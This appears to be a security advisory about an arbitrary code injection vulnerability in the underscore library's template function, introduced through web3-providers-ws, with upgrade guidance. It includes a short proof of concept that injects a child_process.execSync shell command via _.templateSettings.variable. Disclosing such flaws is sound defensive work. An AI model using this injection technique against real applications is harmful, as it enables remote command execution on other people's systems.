Arbitrary Code Injection

  • Vulnerable module: underscore
  • Introduced through: underscore@1.8.3

Detailed paths

  • Introduced through: web3-providers-ws@1.0.0-beta.12 underscore@1.8.3
    Remediation: Upgrade to web3-providers-ws@1.3.6.

Overview

underscore is a JavaScript's functional programming helper library.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the template function, particularly when the variable option is taken from _.templateSettings as it is not sanitized.

PoC

const _ = require('underscore');
_.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')";
const t = _.template("")();

Remediation

Upgrade underscore to version 1.13.0-2, 1.12.1 or higher.
